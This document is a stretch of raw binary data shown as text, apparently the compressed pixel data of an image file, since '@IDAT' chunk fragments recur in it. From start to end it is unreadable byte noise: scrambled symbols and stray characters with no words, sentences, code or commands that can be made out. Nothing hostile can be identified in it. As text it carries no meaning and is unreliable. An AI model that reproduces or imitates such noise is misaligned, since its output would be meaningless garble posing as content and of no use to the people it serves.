ϹR@=9i<\`U;{O_X~'4$.lyI8-砯@~K_D䣍{Ɗ@<ǧKX\1[صLye#"x =osѠ۩tXjW&ȃr! xvfj2N ?t-}w닜Gul}f?엳d~kC FqSߦ+_;VBsg qB[Kmk{}`a\E^tKgCEEh۶/\~泮xp9G8 n2#`ʬ~5_N 8y1x/Z4K`]QD'ݑWԤjpKEH:õ>WNHt.p9*w vn,p.tܯ 񷂍+68G-iSJ^Elc g]s͎ S| 9^=s', {sc\3'HSLX\q[`a(eJCYΗ۴u,L/+ۻkZ'260b6_?9SVobDx`s^brh$)HObJ  @Nm3D"641aq q{mD`P(ʱN[A>;dn7%d7{p{/$g4 &:hvç@7'ލ%]Ar9 p6we7AB39ּWVi7`d,nA ŻtFcû8v!IRl7&͠-Y|Wo], 0[.+ַ ᅭ|ڝtXiUfww5"(Qră^lLKM9Njyx3(.0G\/ ;gW\!_ȾZ|1mb؂qv϶acqZ]u |\qd?ҭ<ָkMq Cd ׏ӟ~1؊IF VKxoC(A [`kN=WP(7GXp+3A`9Ƹ.مfJ5ь\XaqAr>AGv{Ii5wGjDtS> t3H,m$3!(YЄAvv6q)gX`#K`wx4q40c9at[v+h)?@oc5IHhBoΞ|݄H/_]P3a~4nŲ>Dl.pUj6DA+<|E4Tctׂsc85 ȵcƖ5w_iR-&o&ˍ逩1w/>ۦ9rԌOrѩMFWV+0N/o{9AȈt/hN-ڎjN/6Os\|E}-\OYS " B] Bޤ`\~(s24%C8pZ_d[k:q2p(Nl3ҧf ЕglyuT!^>->}!ms쨜v퇯0o3$h+~9 89[BBupcW8,a10Ė,g2[ّ{? C- kAU F01o>9vŗ&-+Llr>3y{zy6z/ >H F8 Xj|m2n'ZrdR.>#~b3?]-F~8 m^-@|D+[ 3&b|7{V|g\gz`}I^1b`2=6Pt&x7bGfseZ>rb6r4Vr;|g?zd'f?[ sܞYe1>?7Y6s;L88!0'+[D, /%>@k?YtEGo"xokIg 6Xo6~ 9-H0#xabEI2FNPO‘w7{C_%.&kuqRG do[Ry=sV嵉+3K)mZ\S* XAga?07Cъ<ġ LTQ.nخ`Y1D;_wӓ\ʝ.e8oͱ 8:)IȆ{88Z1?t8nq0_L 6@p FrҒoswc$bE]D2o?[a]݈3a~οٗ bF-yboanf '_l-Y[|a/D %rhyD7'z ^2qP37^]7&wwgf| _79n7nx7~"\Mdڕ6^ӱw2]_iY;"i\eo2חy1jv-Mߋ`rG_n{0`Ôځg M] G'DTnʘIn?YMhN5)yG  i嵰VCxyDQLcoy=҆qo8+:vaVXB^~6IVʮ-?<%uy@{F{c/tޝꧫW9dV`}+hL [p)ǯ(|moo|gpF;~|Z9' .%qk '@+Ǚql7/nЎ~$BžsWq]cnu¹$svHx#܂rd|pclD|Jk[T?d;!'#Sjqn{?~;\)l/FG]Acwh,"!>ŀA6ut`"+?Yhm <0c .bg aNzNh;?xĶBl܁2_oѸKRs/s6_Lƈl12b]Ui["ϙEj RAΚ{#V`.a+)v6X$N`3۩__paLl ́_׍p=]ΟO8,"a V.vwk Ժr|2ٝqVGnH^rB$`/ M4 ^QLvxA r]I^Ỉ ݜ 6$!?+e,s/`r|yřWWgG?;j4N" ޼u֍p%yI8S/5m`䖸)d/QT%0:p݂1xGu+햩jXgG撫1 YgF\4/QG9\; WH}}Dro5]_郃Y\4Я'8qOpF^=nʥOտ/A{ +מ{I;&t3}D-L(}+#h[&/&ra-|*3rcW<%PQy>^"MR;;m^l]1^_r= vUA52ssfׇf읜//sq.9Ł|8O]{6Vi~)vKl/L$_p=lܢJ|@7\ mf;^|XꫠY9㗓f3m-X{q~gg9eZ1#Gl9]t_0؜m88mn 5![?.b V%\.ג s9SVɕXzTl9B'o<'# aAzV3|n.2Z])g@bc-=ﱁڐ^67ckrc&􊈱l9πExNNо F TVD@lAx6Q߿]\f]twA >~e'%neJ?q9-*x [x' I?9Pol8b9lȔ4~j j~̃t2 6AB0<~cy_U ec~s]^H9Dz۹Fn;[ȭ+ E ˘EFڙ2@b-HWK gݎ\)RΖSo|0zБvIS}7}`w\vLo&x~hI[G yn2\Ct+blIou-,O1 Kr d{MYፏmd4\ U۪#6=||H /iڑy7>4.>f}dhr*+za"6ӫ1 xz 6H^6m'p\{rb wqaL&WprdzQ}2) a[K >I.9VnnE-Fƍlk'mdOwqVM"vK~s;>c`u \~ڷ2xZތ Hd7=9vTnE}trbOLph?tJ. |x͟Νxp&UݦfҸIo0ی/lCUumgh_}m,tC&oyk_Pg$GB3.slm_;p%b!*?k'v~8VWgׯg^mܾZ9#%bR"I ,Ag+n+O P49P vK \ʡSҼ:ꖄ5ly0jʜTBGaH1} lY沏>s1|GNAeQYIvM`bh`ϏEnϿ/~sl '{~U/p-pX^i[sOK?|>Bl\9zص8 ?'hC 'đ~C0d 'z@_\a+iy(|.0)6b[bfkO[oMU;?qE.mtdFG6;V5"}YƵ>K1^r #ڝ_n¸85&'g݉>GJ|=}4ɘ/??Sba!Fw;ʩ#ӻhB9}(KZ _Zn0)|F?&!N9$ EsA-{;ۭb~A\C|l( t(_#ݸc0"yg?"ۨrH`!8=4%_f&64ADr;_^Aۮ:82+|O;9SgLoJX s:gW9/r2aSWߙч`6~5^Ř"g =pMﳼǧw6%/9cv*yh/%'3?o5 DBEsX3Pr>(93µGFQb&Q:O]ޣrK}?¡Eno _GYp؇bQY rb\&(|<`< ]y&X |.ƌ.~WY.l0HNb@4@"-VtM_^eB*@JC8'qR, $H69*y\3ړL~2 #Sqz%=lOsaL3iw9`J;G6pS?#4UgfDA1fu x{ҘTr*h8IcpGԏg3|p(rE|"Nw:#Ĥp45n&bG`xvdޯ{vL~h{Z\~֏#6.k\ 0}Ijjk_*S\E#Cvm6x8/6ٚrZP"ru\ 'WqmAx2sY.LșS9=qӺ6..lNr;r!yצ?.T>v4[7/S46]R5d#?,ȞC`c0UxW2a%GƤ}n#3p`R F\&#-}^C-"Ev%q߾\k.i" [,0ljp}d~&b尅7(gncw |z|%E; -]?Ύz;[C6<%[r$-[[86Aފ?xf1 Wh .8sg0~(fFNgHHc%1`rd~/鑸0¬046cmtcyNs [c)fP`pz}ڪ߄35MkQ`YGU N|d4rMNElaRtܜ4 z9Ơ+&ۥ¿K⍀Q0].zq|H~YQ;yy<抁Z7//-Vӭ Ni{:.];:/waYUiLkE0pjbT^|)Q+}y?Ovi% و{c"`at\ H3Y,+S%vt:!WP}:PU$j@rG~w\y<<v `dk󑺝؇g-^偺%vZKsw$L/觛to_ l 7+Mf0x [nȯ֎<~',#ɠ{K C_!v7@X.E׎.1r!t>=̋Vdf).5Vx9'w<@`pgNgR|Ur9Ouƒ0 ogK$u<#E]>awb}}{wm_{$s'6)XH:ߌ?vN>3Q#~nL՘k>1IL|5{+6i3N>}T6[e{Tf8midG.)W0Ns<Q^ܵWH/p>D|Enȹb!Â؆oJ3.y)TiFk5=aŃNZ|ݜCdPXJ5؉$S[@+Ȩ~DݜـȄVcj5 -|HfQ0o/yAgz隟검vULj1KCI8Sϗl2Oq0+SP2_ԅ(&Tc8bCͅUL rT_>Nfc<\a-ucWb`@k?*skGq{B9W8K739dGGy||w1\2w7;sżJqp*Y |pC=>}Lۉ'5Ox㛇֙hq]FxmƖ+ݥk ]/׿ :ؽJHu%3}__W0߻͵I WH!<<`I(cŦH%.Ba./3ɀy"q+X+VdxM{NM& fDpcnso͘:wEt(#"v}`m7P7@w j9 1Xt0J()j0hll0,Qu^`kV.=d ybcwy/3k "WRj9-$?+%!Z4202ǿ9Ǎc10Z(O/DwpF<5plML/#zCghtl9\l_3{#ɤ'i6;ئϒ9BxMsq U.q<;7֎`)6j8kXvg6ՙ&l;]t㴟M(:BC2(@V q֏ZF{diG2(d~ FgUHQK1ϗ2q USʵZ L:.qsA{Zؓ,@UӸndVqݢ!e{-if |ya;P^K?wMtұU8PЭ%s3 k!QW4 nDaM W\!ENö$"(qt5"Oڎm0Xpi1;7ru/ܱǑeQ^sVHג,"*W[da+}[jq1sF-Nς\awM =\>gkAk %#IS_jN53JM)]d-ёa@G "'q_GF0(QlñWx"T[qXpKI=bW0mƸ%ނ^׌M&Itb?ΊRG`0r7۩K&!3 q*!,T1hfbQ\Qlcջ́ӵڜ>r2fFo_-/W{4=Zӝt0,#-9;ycp\tMX y`1N,O8_f[d?ɟ&-+ditC#7._M!o;燅WSխsdt!.(بbyznALSSqWݒ X:jhO%o9`nIwRrMWN:SW98~;S8uiD 8#IMf4MU'Ktɡ(@(HHt>2V$"(Κڕ~㵀|Dlh [Haaypd=FWSN,.BvvQ5yB?<Í@ [eiį<^%} \I^𓧯x%n.wXo_"XȉM搅^&\nW C,._z+=朝)`.. 稏@{ּbhgk+=#?-ߍRQtVac)~4)07g~F_+jl_-+O ݅:7.3Oj5Zzӗd;*:8[τblabRqJglm{p+@9ԘeH+Э(hJ2Uoy>F09Z `xF*K:4$pWs-^G_ yFʩݣGw}&rQG^2Xx14rH|_"s<.a;KSí KWձ̧Fwg^o @m]nYz||zXd` YqG6tQ&k%F1˹nɨG,mvd+,CmGBY.Z[nݿ5*EI4>xQ?_m Ot6+˘ļ G] g>!p9~!ݣSf -b1l1 Dۈ7fxn~])"+{lAzHd<xw 41lTC Dt}r^!o=&gd!L>jgs>2N;2?}Z׿.vy9c'ֹO<ٓ)4q1|RVbl}ˏ;Cc7J"d}h`}ZL2DI2!4Qܘn2{|wNa`Ll&1:zAiIBFq h!dAA) +RvKl0,Ίq  OsJǜxyC"Gr +>DA5.Y72^%;{h̳$E{; SEtM]p-~-r0)7[(ɨX3/wmS7z167MJcĬ<- (8)= 5%ٻ|+_+oάcs6(Ei[!+S0vmɱo +%N<ȒvPQ`bx\g`Sw 2x^xy{M0R\HE>/I;2zT߼.>d]:qAK<,aWc/O)ɺn2>(^[;bZfT[zL Owu^繠#_ۦE,]OM@b]XzLM̳/F8\̯ó=rGk 2+/xmZ #W?tQEl^u>1V{v oy _Ac~ZmTGҧYr^w6]*}Wedw\4 JK/ ōCX8s, ?.Oў?oZHz&`ZtxG޾Ɨ#fkC@?z0XL ×sih}T>B?$q(Gut.!.{F] S`lBt;;[$2ps:ܰPN"';$Oғwθd}-X3<[οgs}0cðr-asU\3 G/^) /cvc%_O Kl Yi`;px 6[.Olh'=00œ-l$-kM^CwoDWtSó?V0d}e~b|qɽLۈeH1Յ҆9c<3·376?[0_! zv@a,&0Gnj96YToԌ9vm&,1g%Q 7J]D2#.Cߤ (3Gvl7K2@&zy@G&ZKubѧ>c;&QMی@裚kA7 H:2v ތb̗l%󰤇gYn;@%^>ϖ%HL{,R9xi%F.{%HV|#)vї.0+h. Kk`Xʿ!o;m\| nyؓ; Ї2H1ŷf=sؠ;"H]PGYïcbA1ѝE^yxhHG:sņOo=v5|:4J#KЄYXW_ΤbO8 կL6/;;usÚ)ga/}Ȩ>f1:+Zc&s$s:/934)摁 /ȷyc aup>-@:v-^3?9oˑX}8ٰ[X=4^ӣpk5/w9vk'x+?Ǐ#7(v1ƟS9a-屚bvb\=>Gq F%/ϨNj@.P-P,6(zj}Έw:{PԏK}?Ypqm+ eF H$BWK 0* +à@&ԁ F' P-`聇gq76Э[e3]ҕ ]I A>h(v[좓Vc#9nKb~w.SÛ0Գmtd+}$so$Cnc1U0_;xONW<m5(z_ѩ]0^ DGznqz K?Lȗl2/^ Oj~ӶxYG#^ƜSZGK=&&e(ީ&[(=ޡOc܊oEG#1|9>t;(Ů­t%N4 P|L;S{F!K 2衟k]u^;gQ֎euvGV3Aдgtew$y̹mkC gS o4$ԝk&5"FW41^h1}3C )LO\d d;8b[BN/^d:iklw~=,(Ntq" AHtQFMvv{8F]WؐC [wtc rwo_,χ>D}Nw Lb[-c(^B[/vÙ]_7{1}&nxG.gԔWR+c?8bBqJ,FsvNA I00CaDxj'(O7 0p CV\oE߳_QEkIW,@ljy^ fʋn#\zs4f3_xz:U h̜:ow+l}v>sIU^xE']^zo3]LWv;. /j绍t* tE}b r񪲘{- =sݑ+bږ>Ko6f10TtB?{͟0dξQ>Oo!9_a}[D"ˆbؤ_ig#{?Y\bS|P3(>,\{}gȀ"2sa44BsBoE1|J:D= gJ`E_F'sAyx+sv' +]7w,;ƴNoǴ7 kɺ~7!Y"s FaclLpŇ &+d8(MYAcF+xWCi3'}>өzMb˼_obHxV:H{՟2-9\{j3<qX30"ZOA9|Xn%bxSJuTG?u.|bW GÕ9d|m|8عMaD6~xoy1!:oĩjEeGxm.gcuդX"ԝޅEoƽJVϯEXYs;_5>֗v?*QCŦ'fF91Ie/i2|et 1Jg yƑņ¤~d3HYsL-p{U"G$Utl2Bɭ]˜#hNm;Nl˗*ihU'"v_mſt0o> %1-sMtcyD9l- Wx7xpۖc5`%.ȵx-^|z.J&{)8ƦG|@ S  d_|&y:o/'evVv|"Z?;]|eѽhdw9Mefn v𰻽|AB鷅9~T㓧[Tmuwغ~\4 6ipzscm 9.rsL\.`f9[({b^[nM><,ΐo57$3 QhZ,ʄ;;ů+޽ʼnU̡ %*2~< kwbd[B 0:9=PT W\Z!iA ڛ) 2x];BFhN&QG_HD`Cj{v w!z~k@+&a4YBV/5҆^ %뒩D_LԎ/ePc3}ć%>.hI.djb02-n.'|l9.'!s+Xf}NbMH|8C.|LA|C;@x©".k(,Zj)+ǴAoК'ٻ;??Ƿ4EehW˜9u [9 +Q+#V*'snL,x1ֵQ!+zlGMl/xȮN因/ȵ3XY{IksdE[ݞ -"° Db bB^- 4|sLϒ 3<90I+TKd1A99%ZI۝<Ɉ~K 3`jwJD_rc6ӳXaK&U!?"3p6G6k>7v~P]Q;o8W+ȔlOX)Mc0 țjeŐE^^d;NbŦU_Aւ`NIg쩌\ã2r ;4,rщq<6]x0cj//ȧ1,7cU5p;؝[Ї1@0sB)AoߛKJIvIQ+oJ'I %y мk ׌iyZwQ/p ᓌ ~ )c1u 9hX8e) O/+综.7d]bKyv%gvV2]>[/eqfڙ 9fäP/|W8ӻj9ܯ]7h~U< Ic#2ؗN~_]S8'd"( pu,8~eǀk^@рW߭*MrQ~Ag&(a<ѓñVgm?Ϗ+]1+0 M"SoC.9 >h,g|< z:i:[KzgsOBΣTܜx^+LDbFh\|tz|[䵷 :3olTl%0^H/iR_!{gw[ѝc.FٺbUMvmE//4|.=-r @IDATr(v즗]c+Ve8GTw2%b7VnG:zs.a@η"QY9vek; ?>*&Dw>D0 _gL?B >d'r󘪛:b?ЌїGŗd6n7}4i:#q,{ x(}y-u%'F?T&@ez_r%#:+ݚ[W',ӂ0A?/кD6g $ _%/;rA^coDqC12cOXb/Zɍ}Q@/_λX,<蛏Vx`5t|[AKOٌ(,'6%?&sT##~'[[(j EV3Ha‡2Nr4xA-:'92' 큊d%qaN-4u~, HSP]9rI`_qاneW/^y0\e>lAnеh:~ktm#"S_<њG`ѕ/ɄQtb0_p  @X\$"Gvùze>^M-Ik91*+< yS $v‹+9y1` j6߈D'XЃ+ha͟#ZTÞݔm&Dy7w1`E6l `0'-!Ặ"w|Ώd-qwZ!B/ E@.Oxiuxd8' ~V) *xw #V+V7R`yೆ FBQp-P`iчؓVGN>hZ88B&C6؅#f 0?a0}W~%p-B@b&ŏc:jlZw'O<_n:,?ătG \s֞#8\B`~~;I)d9;afk %lj't=<.]O[#j_+V+3e]2|OȈ1xU~sy#SiXLb']o#>rqf*>`2ˇpV ϡeVdsh|fwa+֭!zZRHHEubIr6d&~r?ɋ.`ox$].p!m1CZL!(gQP-C5E!"P@Ni4Ixdt-#"nя\sADOخmCo;#.%Cd1:j ft0.4hbۯ %=8_aKWS<3j#*w<NNB=![a]^]" Ğ|]gJ^ƛgs14@[ 6.mZO["7S/VCqatq~q8oQ9}N̍]+ 6ʼn1d3D'ۘBws-;z4y{4bAɃZӅl"쓗ZF  ctO7.CcXox]ܣ׼ߣY~~ɧ1.,s&Do7s)|ݤE&B+ۻJzc3]1z _ 3O 1!6kAryq[_;cLئ/I'GPü?2P$K94i1P$2M0mE*i \ о!@^6CrI2zo]4F; s@@tK<v. tywݹѣx5`|x훒  *'h$&9J&|#_Q ;e]ū"ӝzDvO؅0c;a? Q_~(ZQ z<gQE_"t0.'l(V<1 "ϭp3sF߳|7!s^'I8*}dF/Vыam㭀)OMm ?mV_lW+6.ow8jb|=j|rqdqKHg6f1c&Fu,Й.VEN} y3Xhh@;]O立Oz[$ZaG#xF_F3l YlW:%pUZAΘF1oP N`h}Ϯ%cz b䭨coi xt[Q_1u $s9_k4l1`Cgyh8GrFIfA =#:_a<2?;aOu9=߶\yJ'.mhulpMҵȠ^f'gAE7w; iqW_a.1n<{2`~6%f}D?i+A=bs!e^!5>_P|d|޸.7ÍG=B~u}&,}lxʛShxiͱۿ[pls>;9/_0_c0=šG>҂をq )kAN6YpOX0> ]ט vINlgmxGk4#Œ>4{D[bqǑfA} =~ „C9N' 1 -F Wfja< JFJ.AR:*M#Gي179)vBrk8g0Wz%ZZ.5G? _-f;G*2b099'w`iŧDA_:),s0ʯ2Cq'M_/b%Y^ᒳƇ\_6+v%{lqCz_9]_rАsĤ190VqNSSZ$x=ߢ$7NN mR۞1|S1j_(xS_F^u>ND!_>բï !cu$52 >͹՗P e+9oyI_1_>%E2# B}lIZwa{z3{й>F.y\F' pidl$/;ѩr `@ʍ65B{En.tI_5:>.g"p}%Ŋ?:8'/zĽ/Ŗb70>+_Rm<8懭#LYiPv|mtq9 v3y*Ʀ_mvcp, ĊB;"ʝy#cf<L^]s]YMY/⁹.0P V*?]b WoP/قjKnc oڱl!x|,An_BXumM`<+kc`&nqe#?Y4ClpFuAfE-:Їq9W^lק:O@oQ^y[[pH.~ 0VP @8^t&줗6]v>';-ǿ ˝߷SF# ~T(+"r͘p ||2}[ _4vy)6RcKBG0+/rUbx\\7a_+}GNv9]y@" k(Fv䊗? ;^ƒ:%%\F{'9epFj |ƌ;j,NQ5 Ĩȩ⡱;0`# ovϖ( Z oL_A͹c[Anxqm o<j4, OOn|9X}nq|]gm3Es056Iޝ/[D‹mw{E)%C<[,% ex#sN9!j3%Gi«zeg3<םӳ `획xn"s10?1>>5dlgNU)jUf6XآڸA#;'8࿣5PuSUsafaTx͹<9md|LL#pm|hSz{:?)gpac|ToMLr-Trm<|vCwړ u!j^$n*;1 УA۝ `IsJ(BhWFuxR&"+!ڐ% hLO4ޠ2dU:k_:0o u^`nId((9:cW+6AA麝!9~c+vP½>gj=]=6 gxw]o(d{5xi<\Ⱥ룓s]3>ů9:'Wqw-.m1+Ս?1G_r:‘;9-yzE vA{sa*_?_cK2- i_{n211mvqo7FQ>sz(p#v)vԺAygG1Wg{mֈ|97Ƶ9bs/^cC{M~1T'(̧p wi޻RcxħB/W4~!/~dD 0r#Z0CCv_,W" /XP6d]yZPӑ%KL?=ῢ8-sCo rzϧobx΄w2V[ @8PpZwfiٗ JEs^ ƽFgL99{Ê xV\)Z'`IG>և?lvx^&5>-fJ\9_5Ou=c+"ç># |Jߊs/]ExGIl!B}xEqbˊ =jX!bnzF ?_ bNjwgymՑ:ƒMg9?Uy q>Bɲ$.1bp$)8 U' 6C@:)cOQ7V N% n5Cn\l؈-}86&ꂚf@^03,Eޮ\P.Xn*GEdGcao[͗\"q'.<Ȭp ]Cuc߳ ` ~bؑ[M&9Ȇ7:Ȧ~E|ESh<3W?z. zCO_'vsXlT[ՉBX#WAB# 5l W,5U*[L;"{6#eF^ZiKl_RUp<!90<NI*Ai"_xճ JvEy3Ws~`s!G" 1U G_lit2v78ڐrM58 OwMַ?l_PW $C @ Tѭ5.=vbƹ㊍Q,+P mAe>Mv+>=7zb!y{+GlEq6$ph;{Wlp3o9b~>>}5<&t$3}vl%v2**wQ͗O*Z }hT0ng®ݒufctW /͏y *i6PZ}th==BVtRoԫaZf>"> -7?/ ǃd~E(vS| ɳ I638殁aU>fEO 9 ħDF?<Y"S7sHPFo;% ]gh $}W|nt7̀<ƺc+v j 0>rłtV,|Wt;9F# +~ &qN@RaAHƼXa`E !zǒ XI37v缴gk ]; SlmD&࠙Ũ.囎rɷw >de 86&+nIas; 嚘N>GrfܰN+}Vtm_=9|*w¹]ɕWȣߞS]ok/×֔m^ª:lN.BmHq‹&0 'ӗ ٰ1*K@AiV2y20 ;fRS ! ։ x'*WQ'n|% !OKDK{#X G 8tc Z- 5F\Wx8o"}mKaZgd/nNew6(10d|nT>QjOt7Oܞ1u_>mBc> <œOݺqOX}=˦ ==n3gl@{{+nyA^okXxbk#{Z;8 M%3jolM)̌4+&yC)#V4_ă#n/2g=o}%+c)@u iX}7PDG9ur)4 4e^<{71;+/X9g҄_ɵ2K(+ Qh ֙9/싣Z4$FstwYH>["+'1%AMY<o,l?aM_v䠥1^lc7kKsΧdj.d: Oc*d-6d.z%X]M/&قŊcwN΋aws6{~cl_--Vb/? :/}3|>e([y1CvhN $c3{DSh)ĞnW\ o舜:# DPLB R|-`zFb((jq2xva$UAtl=rh%mt >1?/9W$+Zz3{\w| |ˮM0k+=\t^ŏ4vk_t.s8/إ\4]Wx\Cs.&bF;Uف+0p[p>h݆s^|2wI_pI ާ?p~/JuAaK4$V{70>qkņC̞^DfCM?="؍M_l2cz1|W@[}i6,%owdnxV|:con >[Iϴmxtzha# kpS/.bǼӷ9xU$t 囅@},BƼͭ;w׋XXd5Vk3hM: ]Zvt0rɰZSl t,}؊>^_oq"49q "o/ L$tC9!VGO6}#MM'Α9EhӾvLj&9laQp_M.а8qlߢГsSր~rvxDIx+NaJc|1×L I1_M-00' E 6DX▾Bx:)/?_ed'(y]BTތa;\jxM}q mDGxwC>l.JncowbxO'e]LF;W*CYe hgEm28%`?s<Ǜ /P7`5ќ'(zKc} $\M V)=ddrFDt {L7$D9z` PWC%tkv<-gC0C8޳xdA., \4lͱw5ntvqx~K Kz[/k*!Ao [7Ȍn᪍R}ӭ9-x*!{T&y)t~{ bl8g5V0yz>ނG79޴7\sp0iALG W10 _BêŸeķ* }<1y]Q3/h|&BoF# U(Bq`aKg01V܉B9_?4 t  (p-Z'D&y]_1-#Qo7󌛡Kv3toFwE1O'3M 8I&Ab$aIp z[  bۖLƇnmuO~ɀarNxddgwp. b̸GNb#Qv1XUÿIz7`9hCS}CSLtJ_ f1B[Gr~/En8 Vݶ|pGȧ):1ylJne<궱 Fc|;ج;/c5íͅ?/tr|~tbS4 U70\Ÿ4q~N \БφaqIy^u ?b 8!'V3N+wv'g.G//8+x#g")|`JR%V3p;>x:m>5S~q<"2"Հ/j|[䁆GcgA24TI8muvS_|) sH88-$#4]`" B2>8JqE@o+By z7}]ȒHl3G|- QY6G8o_]noO֯1^ʜ&FtpW\5<ٱzs&_to)؎e=3rv0Jk2?f1n0W]} (63(:FGsjMyRfOC'_݊͡ھb"XzE6 @8x1u+>_t9w&A7{1_<@6M{HjЕ' tvf>ВUܢJVVC=i 0BX }4AF:͙tKVs0L]|=P{,N%}IHl8ũKh'gwy=FGws>zc\?=4z56& &cVT\ӡ͜Gjl Gxf ǿ6=ϷAïVs%,jo.vWa7W}\q8=vDMd1.&ͼC\6ڸ?ӛk+< "Q'N~AdG&{e[Wg))QngbwwSfdI^d2o5]1JlnWLW߂DTt7`eh9ȧ xdس9>g%!r5$1.0k+8C ,4p nWf%Vx▛}k :8|m6%@|AnxiMȖfl.?l7 wo)4n S&KJģ!z)Ūp+6n1#I7/MͽGO1q4esCT§~Q/O;LZ_N@Qr3r˩L8i.[\/Oo!ϖ~cX8A9}߳+S{U=\=ҜWqB*\6|~'G1⌝FfA0ފ.@$ ৈWW΍/@Z H6hqEABy9ॐb~g@rwzUj//rGYg_@ =ow8orȜbmnq+Nȴ8!AsĢ+u+ ?֠WdF+7;%5H{ .=~K/s`h4s2q+"O&7 ] r&?>=h9gGZna;@>'VT6%ȃ{cmC w=9M*'i>X;9|jN76*>0ְwWI-4wMmsSs~xeZ!'t_ÓaZɤnG)h>1†MbQ[,vp3̦G(|R!O)uhs&%9vUK /S2%jTUxI&a"Lko-6Vb]3*ǻl/"L`q. 31E  TCdx6`2gXoG@>/^#]X*}\R2] F  g]3H:ŵsX}xM\-^0x/&>hwNbG_>- ȟ0fwxoǾm ?+ˊڈ||AM' Ǟv,N5rsQHf&'qEVN>]i7FwǼ;_˹=x)1Ϙt|>pwQʑh3|V|8 _kv7*!?&ljvKCo-F魆gtsN9hj] l"5kszht/})B[GcGDq}%;#4;DDBME[H" N脧,Rn}{S!,\Y-q0"sӂ>?%t4K0]1\z,"F<;_<-ؽEO~x'L$lX|ꐣM96":ɽ',ns 0#癇;LJ9x뷈>hU02c^1e+D**Ňo7"knc .;YxR?͑LR7-Qc%?/@Ta;v`ʘT92t\!Q΋ jҚ_ECm&$pj7k1{fpU~ы_\n 6VBpaHޞ/aZ$#\MF'X{Q$9CM`H%$vu7 1{j*3.旈̪iJ.8XX~&3rrMP8P֟P<=邶.De.+}N4:0_ ]6q2܌RYAwAND;4|ZqX1} ʊ ;3Oo㱹BOv>Yt\)>GW|84se|sG|1&F+8בu^bC7bCӎ?Şy 0l8V7Ws7>M6T-^ t ok?D÷E-REپ9lVϒmy/z;{~G iClNGeޏM0ð]J'E:x1ggBRI(vqFԮ|_;d:=s` n\z/_еg;:6fWxdJ^@IDATB( |ni[(%O\8g/9/X.縺G7%)]ͳ\ F~0ϫq]2g|C{Ӎ؃``ha| C |_PU[l{c%tLI!FH #쮅,2H2j}}+Ld!i8ζ_mi>đO.w6\%kx5MMwp =;j\@ފ &3>f~4pbs4LFh-x$]eG^Y;_G56[mG;Ggd)WT2 #ҳEe=,B 2/ïGJw{<0"}]1߰/qԛŶ`ȉdAg,Vi׏Cǜ.LJ8Ꜵ;,ڍmэ_6F6;ƶ 9N靽P&܌%Bś7,7!6~6v9pkCv~\>N|e_ kj|4:$ lNl.3H ~mvI}G~tWP>3xNBڃq.Jf $; UGidfq^ 2Z2´b@b@'S s z |]ndڇ'l.4| :*qI2<ǻӅϼ"f]v\ @aob"P>{ų9cɧ[@:\*Pߝ0CΞፓbȼVk-ȢwEڌq2y*#MbYT|`~cwjO_`,AKOJhr3Qv|!E@"/ʼ;F . VLg|hc'?MIm0̿ky1 .%cm>?ӣMdϞ}_|N/՗{'rrnlz.Qrcb'ȏkքd=-6}oW,0{e8xr ~v't '-$RuDe̽: %P d&62Ǐy/7'] I__7"A$G}ѽ\/:d< cw6ccVZd>s@ w|pU :\d!X߂x@;~1;/_ *fh-oa=@|dwh,v7IYQ鵹6ͺ{Cډڽ~f5Q[ F;^9ly1읽x1jg#<^4ӄMLȣ>ʏ[h)*S,ϗWHI?h_|iî41gѣMtB$nVP8'YGYIcqp?:Sh'd1P\)V"sb6`bJ}bё_p;pcrɷox6g.bŖ+];[!/5RBTIiIF hIݳVC^QDA9YܾBڠCEV#xuX0! ynz+Vl js]F@t NnE[DkA]Dw{nGKT6ԉGXd1}xmL;%I 02]\Gai8g?AW勋6Qd{wrZkyxUFwvvbcC yf_bn.W$S98]wq5҆q)7Kr\ vЩ}pD&o9Ccqr %.]Lxڼ y\`q^ 'b>w4ra._c6s-> RY-fpwyDKtU6!6|m(w䐱ʏM{x7}l|M ìNi׉O xi̷/ѳ}+FAp#r  G9 ߀!d2|[tלYq <`Uqh}jJ{ /v~ưAFQ^ %b]q⇭~Ow0_bB+a).9{~S3hǦOQ NGgpYǵVW(k7>qi_ǐAfg5m{0|DY+6rd?lgDMm %w{m{/6^A0-o6\ +!Vw`sv~lAGyX?pb_2hsӇ7?NVXA@n !u0"jGbI^ x aI3RqGQ9}l&>c`r6Ő_ّ輤$1'aAzݔڵYgₗ`.1ZfS= 6GА;tCܼl?rmH+ x݂Y˗T!ğ-8$ȑdn7^_Dk8 ՆޥEx<_^_ &kKk2R3 Lxv"紳)fxW?c6o(g` ŵhZp{qpF&dRfxA&yH tѡsGظc:Ţw\>3N8ck %86>pf࢖o{m>syv BMb]}ݮw?.K}1 NRԐuw#\Z%/+ (Ai0Fǐ۵ts 3(,+ Bv_+Qh^ɍzrZ;ָ'Hȵۃ˭9=k3Yș7מ .M'ݧ 0m4lyqYd~orFscl>"; DvZi\5sذElz[Ydnǵ%5#zȇ/rΖqBOdyϗdgG[kcH/mlϜb|dLW`ovRwFE29c#`?Ll@iqH<,>XcV5:Wdș靈y^9t\-:q 0H{Gz]LV`&rpuq|rZ쇑}#wS*PTeF[&NcO(rJ|B1d%LT"ASPr脸; Me;\_ѯ8шˎ;(~v# xN9ubSt1ɫ3|_;.rf#Ò>,vHñd+UDN`K~~ Mܹa[_<< aZ2uq9 Gapښ9+gs 6ybd$ь-(, &;?It^[4mͩ- ^rF? 1G|ȢM/S{V/be< ji$Ob\6S#}ɵW-DO/pPS\< X_Q2'Uqu]84ewԯuK'ԫٱy8"Sblj~0v];&TMɾ(얄"`9" ТuzݘE%7#0Q{c蒿NΨu\rZHۜ ۽f1'\ON.3?'O^VAqBڜA_v;ܸ1Yco9, 4\M̭G^>G\*OpMcc's[܆x" x_*`/dI,hdB]](A.~09?AZd}s,`SIC6KB<خQWlCla<1t9lPXOg氕+Xg 5;3~E^ďG<r#}䘍_-yt#| ;ucb _&qLlt¥]1gs\q|!׾rx2"^1/WL˧0[q_}[];7˷ȟ?&RoJ GLV;J::cca%l.Pak`>#׸^7`p+mR9 uK%?%prÌA\ VOQ:!D'm8!"nKO/)Ѣz3m}TԢ:|E̴S WYLW<^c cϿEpg,$ [֐g8n/ٹǟ;\wLu9j{7V3nGcb~:/i+L7c>&y✜.lb L6+'~\ -5~Ruuzb1'C8 ۴DEEpa&z{R ՙ1cn|\ 9Dž\8ȇOmIcz|\\i]Q đpmss)E|a4:qFWQ/ZKhUBN̈:nAL} 8 bH%!]@1WXg79/Hsr8|Ķh?kd $a"+,Զb ӗX^GPa-UWKο/> w' VM u|Ǿy3e Em u|.Q$#K 